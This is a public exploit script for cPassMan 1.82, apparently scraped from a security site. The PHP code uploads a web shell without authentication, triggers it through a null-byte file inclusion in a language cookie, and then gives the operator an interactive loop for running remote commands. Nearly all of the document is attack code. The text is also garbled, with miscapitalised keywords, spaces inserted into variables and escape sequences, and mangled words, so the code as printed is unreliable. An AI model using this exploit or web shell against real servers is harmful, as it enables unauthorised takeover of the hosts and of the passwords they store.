CPassMan v1.82 Remote Command Execution

Product: Collaborative Passwords Manager (cPassMan)
Platform: Independent (PHP)
Affected Versions: 1.82
<? Php
/*
* CPassMan v1.82 Remote Command Execution Exploit by ls (contact@kaankivilcim.com)
* Disclaimer: cPassMan developer was notified of vulnerabilities in California l 2011 and advised that v1.x was no longer supported.
* Note: Requires PHP 5.3.3 or lower due to the use of a poison null byte in the LFI.
*/
If ($ argc <3 ){
Print "Usage: php-f {$ argv [0]} Exit ();
}
Print "---------------------------------------------------------------------------------- \ n ";
Print "cPassMan v1.82 Remote Command Execution Exploit by ls (contact@kaankivilcim.com) \ n ";
Print "---------------------------------------------------------------------------------- \ n ";
$ Host = $ argv [1];
$ Path = $ argv [2];
$ Port = 80;
/*
* Stage One: Unauthenticated Arbitrary File Upload
* Uploaded files are stored in the document root of the web server as a file with the MD5 hash of the original filename.
*/Www.2cto.com
Print "[*] Stage One: Uploading command execution handler ...";
$ Upload_path = $ path. "/uplodes/libraries/uploadify. php ";
$ Fp = fsockopen ($ host, $ port, $ errno, $ errstr, 30 );
If ($ fp ){
Fputs ($ fp, "POST $ upload_path HTTP/1.1 \ r \ n ");
Fputs ($ fp, "Host: $ host \ r \ n ");
Fputs ($ fp, "Content-Type: multipart/form-data; boundary = ------------------------- 4827543632391 \ r \ n ");
Fputs ($ fp, "Content-Length: 233 \ r \ n ");
Fputs ($ fp, "----------------------------- 4827543632391 \ r \ n ");
Fputs ($ fp, "Content-Disposition: form-data; name = \" Filedata \ "; filename = \" rabbit.txt \ "; \ r \ n ");
Fputs ($ fp, "Content-Type: text/plain \ r \ n ");
Fputs ($ fp, "<? Php echo system (\ $ _ GET ['Z']); die ();?> \ R \ n ");
Fputs ($ fp, "----------------------------- 4827543632391 -- \ r \ n ");
$ Result = fgets ($ fp, 16 );
Fclose ($ fp );
}
If (strstr ($ result, "200 OK ")){
Print "Success! \ N ";
}
/*
* Stage Two: Local File transfer sion
* Several LFI vulnerabilities exist in the user language selection functionality. The exploit uses the user_language cookie attack vector.
*/
Print "[*] Stage Two: Confirming command execution via local file transfer sion ...";
$ Cmd = "echo rabbit ";
$ Success = FALSE;
$ Stdin = fopen ("php: // stdin", "r ");
Do {
$ Cmd = str_replace ("", "+", $ cmd );
$ Lfi_path = $ path. "/index. php? Z = ". $ cmd;
$ Fp = fsockopen ($ host, $ port, $ errno, $ errstr, 30 );
If ($ fp ){
Fputs ($ fp, "GET $ lfi_path HTTP/1.1 \ r \ n ");
Fputs ($ fp, "Host: 192.168.129.130 \ r \ n ");
Fputs ($ fp, "Cookie: user_language =.../../89f84a8775dd8f60cdbdef0d73919511% 00 \ r \ n ");
Fputs ($ fp, "Content-Length: 0 \ r \ n ");
For ($ I = 0; $ I <13; $ I ++ ){
Fgets ($ fp, 2048 );
}
$ Output = "\ n ";
While ($ tmp = fgets ($ fp, 2048 ))! = FALSE &&! Feof ($ fp )){
$ Output. = $ tmp;
}
If ($ success ){
Echo $ output;
}
Fclose ($ fp );
}
If (! $ Success & strstr ($ output, "rabbit ")){
$ Success = TRUE;
Print "Success! \ N ";
}
Print "\ n> ";
} While ($ cmd = trim (fgets ($ stdin )));
?>